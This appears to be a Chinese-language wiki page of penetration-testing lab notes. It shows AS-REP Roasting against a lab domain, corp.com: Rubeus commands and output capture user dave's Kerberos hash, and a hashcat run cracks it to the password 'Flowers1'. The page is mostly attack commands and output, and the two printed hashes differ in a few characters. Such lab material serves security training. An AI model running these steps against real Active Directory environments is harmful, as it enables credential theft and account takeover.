

【AS-REP Roasting】 Rubeus

```
# /nowrap, 以防止將新行添加到生成的AS-REP哈希
PS C:\Users\jeff> cd C:\Tools

PS C:\Tools> .\Rubeus.exe asreproast /nowrap
```

```
PS C:\Users\jeff> cd C:\Tools

PS C:\Tools> .\Rubeus.exe asreproast /nowrap
```

```
(      \                 
      ) )_ - _| | _ _ _ _  
| _ /| || | _ \| _ _ | || \|)  
|| \ \| | | | | ) _ _ | | | |  
|_| |_| _ \| _ \| | _ ) _ \| (  
v2.1.2
```

```
[*] Action: AS-REP roasting
[*] Target Domain      : corp.com
[*] Searching path 'LDAP://DC1.corp.com/DC=corp,DC=com' for '(&
(samAccountType=805306368)
(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
[*] SamAccountName     : dave
[*] DistinguishedName  : CN=dave,CN=Users,DC=corp,DC=com
[*] Using domain controller: DC1.corp.com (192.168.50.70)
[*] Building AS-REQ (w/o preauth) for: 'corp.com\dave'
[*] AS-REQ w/o preauth successful!
[*] AS-REP hash:
```

```
$krb5asrep$dave@corp.com:AE43CA9011CC7E7B9E7F7E7279DD7F2E$7D4C59410DE2984EDF350
53B7954E6DC9A0D16CB5BE8E9DCAACC88C3C13CA031ABD71DA16F476EB972506B4989E9ABA2899C
042E66792F33B119FAB1837D94EB654883C6C3F2DB6D4A8D44A8D9531C2661BDA4DD231FA985D70
03E91F804ECF5FFC0743333959470341032B146AB1DC9BD6B5E3F1C41BB02436D7181727D0C6444
D250E255B72631370BC8D40418C242ABAE9A83C8908387A12D91B40B39848222F72C61DED5349D98
4FFC6D2A06345BC19DDFF8A17EF5A2162EABDE9CA8E48DD2E87BB7A7AE0DBFE225D1E4A778408
B4933A254C30460E4190C02588FBAED757AA87A
```

接下來，讓我們複製AS-REP哈希並將其粘貼到名為hashes.asreproast2的文本文件中，該文件位於使用者kali的主目錄中。我們現在可以再次啟動Hashcat來破解AS-REP哈希。

```
kali@kali:~$ sudo hashcat -m 18200 hashes.asreproast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
```

清單顯示Rubeus識別出dave易受AS-REP Roasting攻擊，並顯示AS-REP哈希。

```
kali@kali:~$ sudo hashcat -m 18200 hashes.asreproast2
/usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --
force
...
$krb5asrep$dave@corp.com:ae43ca9011cc7e7b9e7f7e7279dd7f2e$7d4c59410de2984edf350
53b7954e6dc9a0d16cb5be8e9dcacca88c3c13c4031abd71da16f476be972506b4989e9aba2899c
042e66792f33b119fab1837d94be654883c6c3f2db6d4a8d44a8d9531c2661bda4dd231fa985d70
03e91f804ecf5ffc0743333959470341032b146ab1dc9bd6b5e3fc1c41bb02436d7181727d0c6444
d250e255b7261370bc8d4d418c242abae9a83c8908387a12d91b40b39848222f72c61ded5349d98
4ffc6d2a06a3a5bc19ddff8a17ef5a22162baade9ca8e48dd2e87bb7a7ae0dbfe225d1e4a778408
b4933a254c30460e4190c02588fbaded757aa87a:Flowers1
...
```

🔄修訂版本 #1

★由 treeman 建立於 28 🌐@🌐🌐 2024 21:02:17

✎由 treeman 更新於 8 🌐G🌐🌐 2024 09:52:05